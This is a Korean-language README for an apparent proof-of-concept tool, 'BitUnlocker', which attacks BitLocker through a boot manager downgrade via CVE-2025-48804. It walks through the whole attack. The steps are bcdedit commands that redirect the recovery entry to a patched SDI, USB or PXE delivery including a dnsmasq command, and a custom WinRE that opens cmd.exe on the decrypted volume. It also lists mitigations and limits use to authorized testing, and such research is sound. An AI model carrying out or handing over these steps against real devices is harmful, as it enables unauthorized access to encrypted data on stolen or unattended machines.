BitUnlocker 다운그레이드 공격

완전히 패치된 Windows 11 시스템에서 부팅 관리자 다운그레이드 공격을 통해 BitLocker로 암호화된 디스크에 5분 이내에 접근할 수 있는 개념 증명(PoC)입니다. 이는 원래 CVE-2025-48804로 문서화된 SDI 취약점을 활용합니다. 2025년 7월 패치는 bootmgfw.efi에서 이 문제를 수정하므로, 대상 시스템이 이 PCA를 신뢰하는 한 PCA 2011로 서명된 패치 이전의 bootmgfw.efi를 다운그레이드 공격에 사용할 수 있습니다.

이 PoC는 USB 부팅(더 간단하며 권장됨)과 PXE 부팅이라는 두 가지 전달 방법을 제공합니다. 그러나 이론적으로는 SDI 부팅 파일을 기본 암호화되지 않은 파티션(ESP 및 복구) 중 하나에 복사하고 USB나 PXE를 사용하지 않을 수도 있습니다. "엣지 케이스" 표를 참조하세요.

이 작업은 전적으로 Microsoft STORM(Netanel Ben Simon과 Alon Leviev)의 연구를 기반으로 합니다:

BitUnlocker: Windows 복구를 활용하여 BitLocker 비밀 추출

사전 요구 사항

• BitLocker로 암호화된 장치에 대한 물리적 접근 권한(TPM 전용, PCR 7 + 11)
• 장치의 Secure Boot 데이터베이스가 여전히 Microsoft Windows PCA 2011 인증서를 신뢰해야 함
• USB 스틱(권장) 또는 PXE를 위한 dnsmasq와 이더넷 케이블이 있는 Linux 머신

단계별 가이드

1. Releases에서 boot_patched.sdi 다운로드(또는 자체 SDI 파일 빌드, 아래 참조)

USB/sdi/(USB 방식) 또는 TFTP-root/sdi/(PXE 방식)에 넣으세요.

2. 수정된 BCD 준비

대상 장치에서 WinRE 명령 프롬프트를 엽니다(다시 시작을 클릭할 때 Shift를 누른 상태에서 문제 해결 > 명령 프롬프트 선택 — BitLocker 복구 키를 요청하면 "이 디스크 무시"를 클릭하고, 잠긴 장치에서는 cmd 프롬프트를 실행할 수 없다는 메시지가 표시되면 "다시 실행"을 클릭하세요 — cmd 프롬프트가 열리지 않으면 가능하다면 자체 WinPE를 사용하세요). USB 스틱을 연결하고 다음을 실행합니다:

E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

출력에서 설명이 **"Windows 복구"**이고 ramdisksdidevice / ramdisksdipath 항목을 포함하는 장치 옵션 항목을 찾으세요. 해당 GUID를 기록한 후:

bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

방식에 따라 결과 BCD 파일을 적절한 위치에 배치합니다:

• USB: USB/EFI/Microsoft/Boot/BCD
• PXE: TFTP-root/Boot/BCD

3. 대상 부팅

옵션 A: USB 부팅(권장)

USB 스틱을 FAT32로 포맷하고 USB/ 디렉터리의 내용을 루트에 복사합니다(내용만 복사해야 하며 "USB" 폴더가 있으면 안 됩니다). USB 스틱은 다음과 같아야 합니다:

USB stick root/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Pre-patch boot manager (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Your modified BCD
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

USB 스틱을 대상 장치에 연결하고 UEFI USB 부팅을 트리거합니다 — WinRE에서(장치 사용) 또는 전원을 켤 때 제조사의 부팅 메뉴 키(F12, F9 등)를 눌러서 실행합니다. USB 스틱이 부팅 옵션 목록에 나타나지 않으면 UEFI 부팅 메뉴에서 "파일에서 부팅" 옵션을 찾은 다음 USB 스틱의 EFI/Boot/bootx64.efi로 이동합니다.

옵션 B: PXE 부팅

TFTP-root/ 디렉터리는 다음과 같이 구성됩니다:

TFTP-root/
├── bootmgfw.efi                # Pre-patch boot manager (PCA 2011)
├── Boot/
│   └── BCD                     # Your modified BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Same pre-patch boot manager
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

대상 장치를 이더넷으로 Linux 머신에 연결하고 PXE 서버를 시작합니다:

cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

대상 장치에서 PXE 부팅을 트리거합니다 — WinRE에서 장치 사용 > IPv4 네트워크를 선택하거나 제조사의 PXE 부팅 키를 누릅니다.

4. SDI 전송 대기

부팅 관리자가 BCD를 로드한 다음 boot_patched.sdi 다운로드를 시작합니다. SDI 파일이 크므로(~300MB) USB에서는 잠시 걸리지만 TFTP를 통해서는 수 분이 걸립니다. 로드되는 동안 SDI 경로가 포함된 복구 관련 메시지가 대상 화면에 표시됩니다.

5. 성공

전송이 완료되면 OS 볼륨이 복호화되어 마운트된 상태로 명령 프롬프트가 나타납니다(일반적으로 C: 또는 E:). 자동으로 마운트되지 않았거나 드라이브 문자를 추측하고 싶지 않다면 diskpart -> sel vol X(암호화된 드라이브처럼 보이는 볼륨) -> assign letter=C(또는 다른 문자) -> exit를 실행하면 됩니다 -> 성공

엣지 케이스

자체 SDI 파일 빌드

scripts/에 두 개의 스크립트를 포함했습니다:

• patch_sdi.py — boot.sdi 및 WinRE.wim 파일에서 수정된 SDI 파일을 빌드합니다
• parse_sdi.py — SDI 파일을 파싱하여 구조와 내용을 검증합니다

Releases에서 제공되는 boot_patched.sdi 파일에는 실행 앱이 cmd.exe인 수정된 WinRE.wim이 포함되어 있습니다.

악용 불가능한 경우

• TPM + PIN 또는 TPM + 키 파일이 구성되어 있고 공격자가 이를 모르는 경우
• KB5025885가 설치된 경우 / 부팅 관리자가 CA 2023으로 마이그레이션된 경우 — 2026년 초 이후 새로 설치된 머신은 기본적으로 CA 2023으로 서명된 bootmgfw.efi와 함께 제공될 가능성이 높습니다. 확인하려면 EFI 파티션을 마운트하고 활성 바이너리를 검사하세요: mountvol S: /s 다음에 sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi를 실행합니다. C:\Windows\Boot\EFI\bootmgfw.efi는 실제 부팅 시 사용되는 파일과 다를 수 있습니다 — 항상 EFI 파티션의 복사본을 확인하세요.
• 기본이 아닌 PCR 정책 — PCR 0, 2 또는 4를 포함하는 구성은 부팅 경로의 변경을 감지합니다
• DBX를 통한 PCA 2011 폐기 — 이전 인증서가 명시적으로 신뢰 해제된 경우

완화 조치

• TPM + PIN 활성화 — 사전 부팅 PIN은 부팅 경로 조작과 관계없이 사용자 상호 작용 없이 TPM이 VMK를 봉인 해제하지 못하게 합니다. 다만 PIN을 알고 있는 내부자를 막을 수는 없다는 점을 유의하세요.
• Windows UEFI CA 2023으로 마이그레이션하고 KB5025885를 적용하여 다운그레이드 공격을 완전히 방지하세요

크레딧

Microsoft STORM(Netanel Ben Simon과 Alon Leviev) — 원본 BitUnlocker 연구 및 취약점 공개를 수행했습니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

면책 조항

이 저장소와 그 모든 콘텐츠는 승인된 보안 테스트 및 연구 목적으로만 제공됩니다. 이 도구는 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 본 자료의 사용으로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.